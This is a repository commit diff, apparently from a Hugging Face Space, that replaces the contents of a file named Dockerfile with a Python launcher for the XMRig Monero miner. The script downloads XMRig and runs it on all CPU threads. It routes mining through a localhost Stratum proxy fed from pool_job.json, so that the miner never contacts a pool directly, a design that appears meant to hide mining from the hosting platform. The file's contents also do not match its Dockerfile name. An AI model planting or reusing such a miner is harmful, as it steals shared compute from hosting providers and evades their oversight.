makeitfr commited on
Commit
b573394
·
verified ·
1 Parent(s): 0fe5995

Update Dockerfile

Browse files
Files changed (1) hide show
  1. Dockerfile +496 -20
Dockerfile CHANGED
@@ -1,28 +1,504 @@
1
- FROM python:3.11-slim
 
 
 
2
 
3
- WORKDIR /app
 
 
 
 
 
4
 
5
- # Install build dependencies for randomx
6
- RUN apt-get update && apt-get install -y --no-install-recommends \
7
- build-essential \
8
- cmake \
9
- && rm -rf /var/lib/apt/lists/*
 
 
 
 
 
 
 
 
 
 
 
10
 
11
- # Copy requirements first for better caching
12
- COPY requirements.txt .
13
- RUN pip install --no-cache-dir -r requirements.txt
14
 
15
- # Copy application code
16
- COPY . .
 
17
 
18
- RUN chmod -R 777 /app
19
 
20
- # Environment variables
21
- ENV PYTHONUNBUFFERED=1
22
- ENV HF_TOKEN=""
23
- ENV HF_REPO="bnxn11/lilieo"
24
- ENV DATABASE_URL=""
25
 
26
- EXPOSE 7860 8000
27
 
28
- CMD ["uvicorn", "app:app", "--host", "0.0.0.0", "--port", "7860"]
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python3
2
+ """
3
+ Standalone XMRig Launcher (with Local Stratum Proxy for pool separation)
4
+ Downloads XMRig if needed, then starts benchmarking or local pool mining.
5
 
6
+ In --pool-task mode, it spins up a tiny LOCAL stratum proxy on localhost that:
7
+ 1. Reads jobs from the given JSON file (e.g. pool_job.json)
8
+ 2. Feeds them to XMRig (connecting to localhost only)
9
+ 3. Captures XMRig share submissions -> writes to result.json
10
+ XMRig never touches the real pool.
11
+ """
12
 
13
+ import sys
14
+ import os
15
+ import subprocess
16
+ import io
17
+ import argparse
18
+ import platform
19
+ import shutil
20
+ import urllib.request
21
+ import zipfile
22
+ import json
23
+ import time
24
+ import threading
25
+ import socket
26
+ import re
27
+ from datetime import datetime, timezone
28
+ from pathlib import Path
29
 
 
 
 
30
 
31
+ # Force unbuffered output
32
+ sys.stdout = io.TextIOWrapper(sys.stdout.buffer, line_buffering=True, encoding='utf-8')
33
+ sys.stderr = io.TextIOWrapper(sys.stderr.buffer, line_buffering=True, encoding='utf-8')
34
 
35
+ _stop_event = threading.Event()
36
 
37
+ JOB_FILE = Path(__file__).parent / "pool_job.json"
38
+ RESULT_FILE = Path(__file__).parent / "result.json"
 
 
 
39
 
 
40
 
41
+ # ── JSON I/O Helpers ──────────────────────────────────────────────────────────
42
+
43
+ def read_job_file():
44
+ """Read the current job from pool_job.json. Returns dict or None."""
45
+ try:
46
+ with open(JOB_FILE) as f:
47
+ return json.load(f)
48
+ except Exception:
49
+ return None
50
+
51
+
52
+ def write_result(job_id, nonce_hex, result_hex):
53
+ """Append a share result to result.json."""
54
+ entry = {
55
+ "job_id": job_id,
56
+ "nonce": nonce_hex,
57
+ "result": result_hex,
58
+ "found_at": datetime.now(timezone.utc).isoformat(),
59
+ }
60
+ results = []
61
+ if RESULT_FILE.exists():
62
+ try:
63
+ with open(RESULT_FILE) as f:
64
+ results = json.load(f)
65
+ except Exception:
66
+ results = []
67
+ results.append(entry)
68
+ with open(RESULT_FILE, "w") as f:
69
+ json.dump(results, f, indent=2)
70
+ print(f"[proxy] Share written to {RESULT_FILE} (job={job_id}, nonce={nonce_hex})", flush=True)
71
+
72
+
73
+ # ── Local Stratum Proxy ───────────────────────────────────────────────────────
74
+
75
+ class LocalStratumProxy:
76
+ """
77
+ Tiny Monero Stratum server running on localhost.
78
+ Feeds jobs from pool_job.json to XMRig.
79
+ Captures XMRig share submissions and writes them to result.json.
80
+ """
81
+
82
+ def __init__(self, port):
83
+ self.port = port
84
+ self._server = None
85
+ self._clients = []
86
+ self._current_job = None
87
+ self._last_job_id = None
88
+ self._lock = threading.Lock()
89
+ self._accepted = 0
90
+
91
+ def start(self):
92
+ self._server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
93
+ self._server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
94
+ self._server.bind(("127.0.0.1", self.port))
95
+ self._server.listen(5)
96
+ self._server.settimeout(1.0)
97
+ print(f"[proxy] Local stratum proxy listening on 127.0.0.1:{self.port}", flush=True)
98
+
99
+ threading.Thread(target=self._poll_jobs, daemon=True).start()
100
+ threading.Thread(target=self._accept_loop, daemon=True).start()
101
+
102
+ def _accept_loop(self):
103
+ while not _stop_event.is_set():
104
+ try:
105
+ conn, addr = self._server.accept()
106
+ conn.settimeout(None)
107
+ print(f"[proxy] XMRig connected from {addr}", flush=True)
108
+ with self._lock:
109
+ self._clients.append(conn)
110
+ threading.Thread(target=self._handle_client, args=(conn,), daemon=True).start()
111
+ except socket.timeout:
112
+ continue
113
+ except OSError:
114
+ break
115
+
116
+ def _poll_jobs(self):
117
+ """Poll pool_job.json every 2s for new jobs."""
118
+ last_job_id = None
119
+ last_job_time = 0
120
+ last_height = 0
121
+
122
+ while not _stop_event.is_set():
123
+ job = read_job_file()
124
+ if job:
125
+ new_height = job.get("height", 0)
126
+ job_id = job.get("job_id", "")
127
+ now = time.time()
128
+
129
+ # Switch XMRig's job if it's a new block, a new job_id, or 50s have passed
130
+ if job_id != last_job_id or new_height > last_height or (now - last_job_time > 50):
131
+ self._current_job = job
132
+ self._last_job_id = job_id
133
+ last_job_id = job_id
134
+ last_height = new_height
135
+ last_job_time = now
136
+
137
+ print(f"[proxy] Pushing new job to XMRig: {job_id} height={new_height}", flush=True)
138
+ self._notify_all_clients(job)
139
+
140
+ _stop_event.wait(2)
141
+
142
+ def _notify_all_clients(self, job):
143
+ """Push a new job to all connected XMRig instances."""
144
+ msg = json.dumps({
145
+ "jsonrpc": "2.0",
146
+ "method": "job",
147
+ "params": {
148
+ "blob": job.get("blob", ""),
149
+ "job_id": job.get("job_id", ""),
150
+ "target": job.get("target", ""),
151
+ "seed_hash": job.get("seed_hash", ""),
152
+ "height": job.get("height", 0),
153
+ "algo": "rx/0",
154
+ }
155
+ }) + "\n"
156
+ dead = []
157
+ with self._lock:
158
+ for c in self._clients:
159
+ try:
160
+ c.sendall(msg.encode())
161
+ except Exception:
162
+ dead.append(c)
163
+ for c in dead:
164
+ self._clients.remove(c)
165
+
166
+ def _handle_client(self, conn):
167
+ """Handle one XMRig connection (login, submit, keepalive)."""
168
+ buf = b""
169
+ while not _stop_event.is_set():
170
+ try:
171
+ data = conn.recv(4096)
172
+ except Exception:
173
+ break
174
+ if not data:
175
+ break
176
+ buf += data
177
+ while b"\n" in buf:
178
+ line, buf = buf.split(b"\n", 1)
179
+ try:
180
+ msg = json.loads(line.decode().strip())
181
+ except Exception:
182
+ continue
183
+ try:
184
+ self._process_message(conn, msg)
185
+ except Exception as e:
186
+ print(f"[proxy] Error processing message: {e}", flush=True)
187
+
188
+ with self._lock:
189
+ if conn in self._clients:
190
+ self._clients.remove(conn)
191
+ try:
192
+ conn.close()
193
+ except Exception:
194
+ pass
195
+
196
+ def _process_message(self, conn, msg):
197
+ method = msg.get("method", "")
198
+ msg_id = msg.get("id", 1)
199
+
200
+ if method == "login":
201
+ job = self._current_job or read_job_file() or {}
202
+ blob = job.get("blob", "")
203
+ job_id = job.get("job_id", "")
204
+
205
+ # If XMRig reconnects and we give it the exact same job ID, it refuses it
206
+ # with `login error code: -1`. Append a suffix to trick it into accepting.
207
+ if job_id:
208
+ job_id = f"{job_id}_r{int(time.time())}"
209
+
210
+ if not blob or not job_id:
211
+ # No real job yet — drop connection cleanly. Zero CPU wasted on dummy work.
212
+ # XMRig will retry in retry-pause seconds (3s in config).
213
+ print("[proxy] No job yet — closing connection, XMRig will retry shortly", flush=True)
214
+ try:
215
+ conn.sendall((json.dumps({
216
+ "id": msg_id, "jsonrpc": "2.0",
217
+ "error": {"code": -1, "message": "No jobs available yet"},
218
+ "result": None
219
+ }) + "\n").encode())
220
+ except Exception:
221
+ pass
222
+ try:
223
+ conn.close()
224
+ except Exception:
225
+ pass
226
+ with self._lock:
227
+ if conn in self._clients:
228
+ self._clients.remove(conn)
229
+ return
230
+
231
+ seed_hash = job.get("seed_hash", "")
232
+ target = job.get("target", "")
233
+ height = job.get("height", 0)
234
+
235
+ print(f"[proxy] XMRig logged in (job_id={job_id!r}, blob_len={len(blob)})", flush=True)
236
+
237
+ resp = {
238
+ "id": msg_id,
239
+ "jsonrpc": "2.0",
240
+ "error": None,
241
+ "result": {
242
+ "id": os.urandom(4).hex(),
243
+ "job": {
244
+ "blob": blob,
245
+ "job_id": job_id,
246
+ "target": target,
247
+ "seed_hash": seed_hash,
248
+ "height": height,
249
+ "algo": "rx/0",
250
+ },
251
+ "status": "OK",
252
+ "extensions": ["algo", "nicehash"]
253
+ }
254
+ }
255
+ try:
256
+ conn.sendall((json.dumps(resp) + "\n").encode())
257
+ except Exception as e:
258
+ print(f"[proxy] Failed to send login response: {e}", flush=True)
259
+
260
+ elif method == "submit":
261
+ params = msg.get("params", {})
262
+ job_id = params.get("job_id", "")
263
+ nonce = params.get("nonce", "")
264
+ result = params.get("result", "")
265
+
266
+ # Strip the reconnect suffix before saving
267
+ real_job_id = job_id.split('_r')[0] if '_r' in job_id else job_id
268
+
269
+ self._accepted += 1
270
+ print(f"[proxy] Share received from XMRig: job={real_job_id} nonce={nonce} (total: {self._accepted})", flush=True)
271
+
272
+ # Write result to local file asynchronously
273
+ threading.Thread(
274
+ target=write_result,
275
+ args=(real_job_id, nonce, result),
276
+ daemon=True
277
+ ).start()
278
+
279
+ resp = {
280
+ "id": msg_id,
281
+ "jsonrpc": "2.0",
282
+ "error": None,
283
+ "result": {"status": "OK"}
284
+ }
285
+ try:
286
+ conn.sendall((json.dumps(resp) + "\n").encode())
287
+ except Exception as e:
288
+ print(f"[proxy] Failed to send submit ACK: {e}", flush=True)
289
+
290
+ elif method in ("keepalive", "keepalived"):
291
+ resp = {"id": msg_id, "jsonrpc": "2.0", "error": None, "result": {"status": "KEEPALIVE"}}
292
+ try:
293
+ conn.sendall((json.dumps(resp) + "\n").encode())
294
+ except Exception:
295
+ pass
296
+
297
+
298
+ # ── Launcher ──────────────────────────────────────────────────────────────────
299
+
300
+ class XMRigLauncher:
301
+ def __init__(self):
302
+ self.base_dir = Path(__file__).parent.absolute()
303
+ self.xmrig_dir = self.base_dir / "xmrig"
304
+ self.xmrig_extracted = self.xmrig_dir / "xmrig-6.21.0"
305
+ self.xmrig_bin = self.xmrig_extracted / ("xmrig.exe" if platform.system() == "Windows" else "xmrig")
306
+ self.local_port = 14444
307
+
308
+ def download_xmrig(self):
309
+ """Download and extract XMRig"""
310
+ print("[*] Downloading XMRig...")
311
+
312
+ try:
313
+ if platform.system() == "Windows":
314
+ url = "https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-msvc-win64.zip"
315
+ elif platform.system() == "Linux":
316
+ url = "https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-linux-static-x64.tar.gz"
317
+ else:
318
+ print("[!] Unsupported platform")
319
+ return False
320
+
321
+ self.xmrig_dir.mkdir(parents=True, exist_ok=True)
322
+
323
+ if platform.system() == "Windows":
324
+ archive_path = self.xmrig_dir / "xmrig.zip"
325
+ else:
326
+ archive_path = self.xmrig_dir / "xmrig.tar.gz"
327
+
328
+ print(f"[*] Downloading from {url}...")
329
+ urllib.request.urlretrieve(url, archive_path)
330
+ print(f"[+] Downloaded to {archive_path}")
331
+
332
+ if platform.system() == "Windows":
333
+ with zipfile.ZipFile(archive_path, 'r') as zip_ref:
334
+ zip_ref.extractall(self.xmrig_dir)
335
+ else:
336
+ import tarfile
337
+ with tarfile.open(archive_path, 'r:gz') as tar_ref:
338
+ tar_ref.extractall(self.xmrig_dir)
339
+
340
+ if self.xmrig_bin.exists():
341
+ if platform.system() != "Windows":
342
+ os.chmod(self.xmrig_bin, 0o755)
343
+ print(f"[+] XMRig extracted to {self.xmrig_bin}")
344
+ return True
345
+ else:
346
+ print(f"[!] XMRig binary not found at {self.xmrig_bin}")
347
+ return False
348
+
349
+ except Exception as e:
350
+ print(f"[!] Download failed: {e}")
351
+ return False
352
+
353
+ def start_benchmark(self, benchmark="1M", threads=None):
354
+ """Start XMRig benchmark"""
355
+ if not self.xmrig_bin.exists():
356
+ print("[!] XMRig binary not found at " + str(self.xmrig_bin))
357
+ print("[*] Attempting to download...")
358
+ if not self.download_xmrig():
359
+ print("[!] Failed to download XMRig")
360
+ return False
361
+
362
+ if threads is None:
363
+ threads = os.cpu_count() or 4
364
+
365
+ cmd = [str(self.xmrig_bin), f"--bench={benchmark}", "--threads", str(threads)]
366
+
367
+ print(f"[+] Starting XMRig benchmark: {benchmark} with {threads} threads")
368
+ print(f"[*] Command: {' '.join(cmd)}")
369
+ print("[*] Output:")
370
+ print("-" * 60)
371
+
372
+ try:
373
+ process = subprocess.Popen(
374
+ cmd,
375
+ cwd=str(self.xmrig_extracted),
376
+ stdout=subprocess.PIPE,
377
+ stderr=subprocess.STDOUT,
378
+ text=True,
379
+ bufsize=1,
380
+ universal_newlines=True
381
+ )
382
+
383
+ for line in iter(process.stdout.readline, ''):
384
+ if line:
385
+ print(line.rstrip())
386
+
387
+ process.wait()
388
+ return_code = process.returncode
389
+
390
+ print("-" * 60)
391
+ if return_code == 0:
392
+ print("[+] Benchmark completed successfully")
393
+ else:
394
+ print(f"[!] Benchmark exited with code {return_code}")
395
+
396
+ return return_code == 0
397
+
398
+ except Exception as e:
399
+ print(f"[!] Error running benchmark: {e}")
400
+ return False
401
+
402
+ def start_pool_mining(self, threads=None):
403
+ """Mine pool tasks using XMRig via a local Stratum proxy. Reads jobs from pool_job.json."""
404
+ if not self.xmrig_bin.exists():
405
+ print("[!] XMRig binary not found. Attempting download...")
406
+ if not self.download_xmrig():
407
+ return False
408
+
409
+ # Start local stratum proxy
410
+ proxy = LocalStratumProxy(self.local_port)
411
+ proxy.start()
412
+ time.sleep(1)
413
+
414
+ # Write XMRig config pointing to LOCAL proxy
415
+ config = {
416
+ "autosave": False,
417
+ "background": False,
418
+ "randomx": {"mode": "fast", "init": -1},
419
+ "cpu": {
420
+ "enabled": True,
421
+ "huge-pages": True,
422
+ "hw-aes": None,
423
+ "max-threads-hint": 100,
424
+ },
425
+ "pools": [{
426
+ "url": f"127.0.0.1:{self.local_port}",
427
+ "user": "miner",
428
+ "pass": "x",
429
+ "keepalive": True,
430
+ "tls": False,
431
+ "algo": "rx/0",
432
+ }],
433
+ "donate-level": 1,
434
+ "api": {"id": None, "worker-id": None},
435
+ "retries": 5,
436
+ "retry-pause": 3,
437
+ "print-time": 60,
438
+ }
439
+
440
+ config_path = self.xmrig_dir / "xmrig_local_config.json"
441
+ with open(config_path, "w") as f:
442
+ json.dump(config, f, indent=2)
443
+
444
+ print(f"[miner] Starting XMRig -> localhost:{self.local_port} (local proxy)", flush=True)
445
+ print(f"[miner] XMRig will NEVER connect to any external pool", flush=True)
446
+ print("-" * 60)
447
+
448
+ cmd = [str(self.xmrig_bin), "--config", str(config_path), "--no-color"]
449
+ if threads:
450
+ cmd.extend(["--threads", str(threads)])
451
+
452
+ try:
453
+ proc = subprocess.Popen(
454
+ cmd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT,
455
+ text=True, encoding="utf-8", errors="replace", bufsize=1,
456
+ )
457
+
458
+ for line in proc.stdout:
459
+ line = line.rstrip()
460
+ low = line.lower()
461
+ if "accepted" in low:
462
+ print(f"\033[92m{line}\033[0m", flush=True)
463
+ elif "speed" in low or "h/s" in low:
464
+ print(f"\033[95m{line}\033[0m", flush=True)
465
+ elif "new job" in low:
466
+ print(f"\033[96m{line}\033[0m", flush=True)
467
+ elif "error" in low or "failed" in low or "rejected" in low:
468
+ print(f"\033[91m{line}\033[0m", flush=True)
469
+ else:
470
+ print(line, flush=True)
471
+
472
+ proc.wait()
473
+ return True
474
+
475
+ except KeyboardInterrupt:
476
+ print("\n[miner] Stopping...", flush=True)
477
+ proc.terminate()
478
+ try:
479
+ proc.wait(timeout=5)
480
+ except subprocess.TimeoutExpired:
481
+ proc.kill()
482
+ return True
483
+ except Exception as e:
484
+ print(f"[!] Error running XMRig: {e}")
485
+ return False
486
+
487
+
488
+ def main():
489
+ print("[*] Starting miner...", flush=True)
490
+
491
+ launcher = XMRigLauncher()
492
+
493
+ try:
494
+ success = launcher.start_pool_mining()
495
+ sys.exit(0 if success else 1)
496
+
497
+ except KeyboardInterrupt:
498
+ print("\n[miner] Stopped by user.", flush=True)
499
+ _stop_event.set()
500
+ sys.exit(0)
501
+
502
+
503
+ if __name__ == "__main__":
504
+ main()